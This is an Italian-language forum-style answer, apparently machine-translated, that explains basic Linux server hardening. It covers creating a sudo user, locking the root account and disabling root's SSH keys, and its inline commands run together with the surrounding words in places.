1. Crea un nuovo utente con sudodiritti: crea un nuovo utente con un nuovo nome — qualcosa del genere cooldude— sudo adduser cooldudeusando un comando come se stai usando Ubuntu o un altro tipo di sistema Debian. Quindi modifica manualmente il sudofile utilizzando un comando come questo sudo nano /etc/sudoerse aggiungi una riga come cooldude ALL=(ALL:ALL) ALLsotto la riga equivalente che dovrebbe essere letta root ALL=(ALL:ALL) ALL. Fatto ciò, accedi come cooldudee testa il sudocomando con un comando del tipo sudo w—qualcosa di base e non distruttivo — per vedere se i sudodiritti funzionano. È possibile che ti venga richiesta una password. Che funzioni? Tutto bene! Vai al passaggio successivo.
2. Blocca l' rootaccount: OK, ora che cooldudeè responsabile dei sudodiritti, accedi come cooldudeed esegui questo comando per bloccare l'account di root sudo passwd -l root. Se in qualche modo hai creato una coppia di chiavi SSH per root, apri /root/.ssh/authorized_keyse rimuovi le chiavi. O meglio ancora, basta rinominare quel file in authorized_keys_OFFquesto modo, sudo mv /root/.ssh/authorized_keys /root/.ssh/authorized_keys_OFFper disabilitare efficacemente le chiavi SSH. Preferisco il successivo perché nella seconda mano hai ancora bisogno di password meno login, puoi semplicemente spostare quel file al nome originale e dovresti essere pronto per andare.

FWIW, ho gestito dozzine di server Linux nel corso degli anni (decenni?) E so per esperienza che semplicemente disabilitare roote configurare un nuovo utente con sudodiritti è il modo più semplice e basilare per proteggere qualsiasi sistema Linux. Non ho mai avuto a che fare con alcun tipo di compromesso tramite SSH una volta rootdisabilitato. E sì, potresti vedere i tentativi di accesso tramite il auth.logma sono insignificanti; se rootè disabilitato, questi tentativi non aggiungeranno mai nulla. Siediti e guarda i tentativi senza fine!